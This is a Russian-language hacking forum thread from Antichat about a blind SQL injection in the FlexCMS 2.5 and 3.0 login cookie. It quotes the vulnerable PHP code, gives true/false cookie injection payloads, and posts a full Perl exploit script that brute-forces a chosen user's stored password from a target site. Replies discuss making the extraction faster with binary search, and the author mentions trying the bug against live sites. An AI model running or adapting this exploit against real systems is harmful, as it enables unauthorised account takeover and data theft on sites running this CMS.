ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

FlexCMS 2.5 Blind SQL-Injection
  #1  
Старый 16.12.2008, 02:53
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию FlexCMS 2.5 Blind SQL-Injection

FlexCMS 2.5 Blind SQL-Injection
Сайт: www.flexcms.com
Требования: magic_quotes_gpc = off
Тестилось на последней free версии, скаченной с офф сайта
Уязвимость в файле index.php
PHP код:
$CookieData $HTTP_COOKIE_VARS[$CookieName];

$LoggedIn 'n';
$UserLevel 0;
 
if (
$CookieData != '' && $CookieData != 'not_logged_in') {
    list (
$CookieUsername$CookiePassword) = split('=='$CookieData2);
    if (
$CookieUsername != '' && $CookiePassword != '') {
        
$query "select RecordNumber,Level,Password,DisplayName,SessionLength from `".$Settings['DBPrefix']."core-Users` where Username='$CookieUsername' LIMIT 1";
        
$result mysql_query($query) or die (mysql_error()); 
В cookies передаются логин и пасс, в таком виде
логин==зашифрованый_пасс
Т.к переменная $CookieUsername никак не фильтруется и при наличии magic_quotes_gpc = off есть возможность провести инъекцию

Example:
Код:
True: FCLoginData12345=qwerty'+and+1=1/*%3D%3DqwDyM1dbqwDyM1db9iOPI
False: FCLoginData12345=qwerty'+and+1=2/*%3D%3DqwDyM1dbqwDyM1db9iOPI
Сразу скажу что не тестил в нете. Бага вроде тоже нигде не описана, если чё удалите(

Последний раз редактировалось Spyder; 16.12.2008 в 02:59..
 
Ответить с цитированием

[Exploit & Research] FlexCMS 2.5 & 3.0 Blind SQL-Injection
  #2  
Старый 24.04.2009, 03:19
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию [Exploit & Research] FlexCMS 2.5 & 3.0 Blind SQL-Injection

Данная тема продолжение этой http://forum.antichat.ru/thread96609.html
Я немного погорячился сказав что они новую верcию выпустили. Выпустить то выпустили, а вот баги не закрыли

Посмотрел сайтеки в нете, бага должна быть, но она как будто отстутствует, буду разбираться в этом. Пока выкладываю, надеюсь кто нибудь скачает двиг и присоединится в копании и мб немного исправит сплоит и поймёт почему бага не пашет на реальных примерах. пишите 625470
Реализовано на more than 1 row

Код:
#!/usr/bin/perl
# FlexCMS Blind SQL injection exploit
# usage: perl flex.pl www.site.com /flex/ admin
$|=1;
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$uname = $ARGV[2];
$url = 'http://'.$host.$path;
$ascii = 47;
$id=1;
print "[+] Conecting to $host\n";
print "[+] Bruting password for username - $uname\n\n";
while (!$pass_ok) {
	undef $next;
	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "$!\n";
	print $socket "GET $url HTTP/1.0\r\n";
	print $socket "Accept: */*\r\n";
	print $socket "Host: localhost\r\n";
	print $socket "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\r\n";
	print $socket "Cookie: FCLoginData12345=sploa'+and 1=(select null from `core-Users` where length(if(ascii(substring((select password from `core-Users` where username='$uname'),$id,1))>$ascii,username,RecordNumber))>1)/*%3D%3Dxekeng\r\n";
	print $socket "Connection: close\r\n\r\n";
	while (<$socket>) {
		if (m/Subquery returns more than 1 row/) {
			$next = 1
		}
	}
	if ($next and $ascii != 57) {$ascii++}
	elsif ($next and $ascii == 57) { $ascii = $ascii+7 }
	else {
		if ($ascii == 47) {
			print "\n[+]Password has been brooted\n[+]Password is - $pass\n";
			$pass_ok = 1; 
		} else {
			$pass .= pack("C", $ascii);
			print "$pass\n";
			$ascii = 47;
			$id++;
		}
	}
	sleep(0);
}
 
Ответить с цитированием

  #3  
Старый 24.04.2009, 11:08
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Spyder, как я понял, у тебя просто последовательно перебираются все символы на каждой позиции? Гораздо быстрее использовать бинарный поиск. Вместо 512 запросов будет 160 в худшем случае (это если пасс в md5 и поиск правильно реализован).

Хз правда где посмотреть на перле, на пхп можешь у меня глянуть (тоже More1row), тут, правда я не помню насколько он оптимально реализован (т.е. нет ли нескольких лишних запросов): https://forum.antichat.ru/showpost.p...6&postcount=23

В любом случае работает гораздо быстрее, и даже если написан неоптимально, то запросов будет не более 170.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 24.04.2009 в 11:12..
 
Ответить с цитированием

  #4  
Старый 24.04.2009, 12:58
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Даже если и перебирать все символы, то лучше вначале определить цифра \ буква \ символ, затем разбить на диапазоны, выяснить в каком диапазоне лежит нужный символ и далее уже брутить
 
Ответить с цитированием

  #5  
Старый 24.04.2009, 13:09
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

там не мд5, какая то своя криптовка
я посчитал, на каждую букву приходится максимум 62 запроса
пасс состоит из 0-9a-zA-Z
намёк на бинарный поиск понял
меня больше волнует неработоспособноссть баги на реальных примерах в нете
 
Ответить с цитированием

  #6  
Старый 24.04.2009, 13:25
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от BlackSun  
Даже если и перебирать все символы, то лучше вначале определить цифра \ буква \ символ, затем разбить на диапазоны, выяснить в каком диапазоне лежит нужный символ и далее уже брутить
Бинарным поиском без определения будет быстрее. Ты только на определение потратишь 2 запроса, на каждый символ.

В случае a-zA-Z-0-9, всего 64 варианта, т.е. в худшем случае, при бинарном поиске без проверки - 6 запросов на символ.

Если ты будешь проверять в какой группе лежит символ, то это:

1) 2 запроса на определение группы (стабильно для каждого символа)
2) Ещё 5 запросов на каждый символ в худшем случае (т.е. если тебе попался диапазон более чем из 16 сиволов).

Вывод - 7 запросов в худшем варианте, вместо 6 в худшем варианте.

З.Ы.
Худший вариант - символ ни разу не попал в середину диапазона, до последней итерации.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 24.04.2009 в 13:27..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ